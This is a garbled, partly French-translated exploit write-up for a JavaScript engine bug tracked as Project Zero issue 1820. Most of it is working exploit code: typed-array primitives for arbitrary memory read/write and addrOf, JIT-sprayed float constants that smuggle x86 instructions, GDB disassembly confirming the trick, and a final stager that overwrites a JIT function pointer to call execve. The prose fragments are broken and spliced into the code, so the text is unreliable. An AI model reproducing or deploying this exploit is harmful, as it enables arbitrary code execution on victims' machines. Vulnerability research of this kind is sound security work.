
https://bugs.chromium.org/p/project-zero/issues/detail?id=1820
Bug: https://bugs.chromium.org/p/project-zero/issues/detail?id=1820


exploit.js - Exploit réel, précédé des util.js & Int64.js de saelo.stager.js - Utilisé pour créer les constantes, précédé des util.js & Int64.js de saelo.stager.py - Utilisé pour assembler les instructions avec keystone. La sortie est fournie à stager.js.setup()).const exploit_pack = [
new Uint8Array(0x10),
new Uint8Array(0x10), // Use this [:8] to control data pointer of below array
new Uint8Array(0x10), // Arbitrary RW array
]
exploit_pack[0] vers le champ pointeur de données
de exploit_pack[1]. Le faire pointer vers l'adresse du champ pointeur de données de exploit_pack[2]. // setup()
const v11 = v4.pop();
const addr = v11[11];
v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();
exploit_pack[1], ce qui
modifie en interne le pointeur de données de exploit_pack[2]. Ensuite, utilisez exploit_pack[2] pour
lire ou écrire en mémoire.function read(ptr) {
read_addr = new Int64(ptr);
// Change data pointer of exploit_pack[2]
for (var idx=0; idx < 8; idx++) {
exploit_pack[1][idx] = read_addr.byteAt(idx);
}
let bytes = exploit_pack[2].slice(0, 8);
// Remove 0xfffe in pointer
// bytes[7] = 0x00; bytes[6] = 0x00;
obj_addr = new Int64(bytes);
// console.log(obj_addr);
return obj_addr;
// console.log(new Int64(obj_addr));
}
function write(ptr, value) {
let addr = new Int64(ptr);
let bytes = new Int64(value);
// Change data pointer of exploit_pack[2]
for (var idx=0; idx < 8; idx++) {
exploit_pack[1][idx] = addr.byteAt(idx);
}
for (var idx=0; idx < 8; idx++) {
exploit_pack[2][idx] = bytes.byteAt(idx);
}
}
exploit_pack lui-même, construire une primitive addrOf.function addrOf(obj) {
exploit_pack[3] = obj;
// Change data pointer of exploit_pack[2]
for (var idx=0; idx < 8; idx++) {
exploit_pack[1][idx] = leaking_addr.byteAt(idx);
}
let bytes = exploit_pack[2].slice(0, 8);
// Remove 0xfffe in pointer
bytes[7] = 0x00; bytes[6] = 0x00;
obj_addr = new Int64(bytes);
// console.log(obj_addr);
return obj_addr;
// console.log(new Int64(obj_addr));
}
r-x.const stager = function (a, b, c, d) {
const rax = a;
const rdi = b;
const rsi = c;
const rdx = d;
const g0 = 9.073632937307107e-271;
const g1 = 1.6063957816990143e-270;
const g2 = 1.6082444981830348e-270;
const g3 = 1.6100929890177583e-270;
const g4 = 1.6119413952339954e-270;
const g5 = 1.68020602465e-313;
}
0xdeadc0debaad.
gef➤ disas /r 0x0000085a6e604531,+20
Dump of assembler code from 0x85a6e604531 to 0x85a6e604545:
0x0000085a6e604531: 49 bb 80 ad ba de c0 ad de 07 movabs r11,0x7deadc0debaad80
0x0000085a6e60453b: 4c 89 5d a8 mov QWORD PTR [rbp-0x58],r11
0x0000085a6e60453f: 49 bb c0 48 8b 44 24 28 eb 07 movabs r11,0x7eb2824448b48c0
End of assembler dump.

gef➤ disas /r 0x0000085a6e604542,+10
Dump of assembler code from 0x85a6e604542 to 0x85a6e604556:
0x0000085a6e604542: 48 8b 44 24 28 mov rax,QWORD PTR [rsp+0x28]
0x0000085a6e604547: eb 07 jmp 0x85a6e604550
End of assembler dump.
4c 89 5d XX 49 bb 00 d'une manière ou d'une autre avec 7 octets que nous contrôlons.
Nous pouvons sauter par-dessus ces octets en utilisant un jmp relatif.$ rasm2 -a x86 -b 64 "jmp 7"
eb05

execve.rax: syscall number
rdi: program path
rsi: argv
rdx: envp
mov suivantes sont une aubaine pour déplacer des valeurs depuis un offset sur la pile vers les registres
pertinents. Elles font exactement 5 octets.$ rasm2 -a x86 -b 64 "mov rdi, QWORD [rsp + 0x28]"
488b442428
Nous pouvons donc construire nos constantes. Référez-vous à stager.py -> stager.js pour voir comment elles ont été
générées.
Il suffit d'écraser le pointeur de fonction JIT réel dans la structure de l'objet et de le remplacer par l'offset. Appelez la fonction avec les paramètres.
write(jitGetter, jmpOffset);
stager(
new Int64(59).asDouble(),
new Int64(pathAddr).asDouble(),
new Int64(argvBufferAddr).asDouble(),
new Int64(environBufferAddr).asDouble());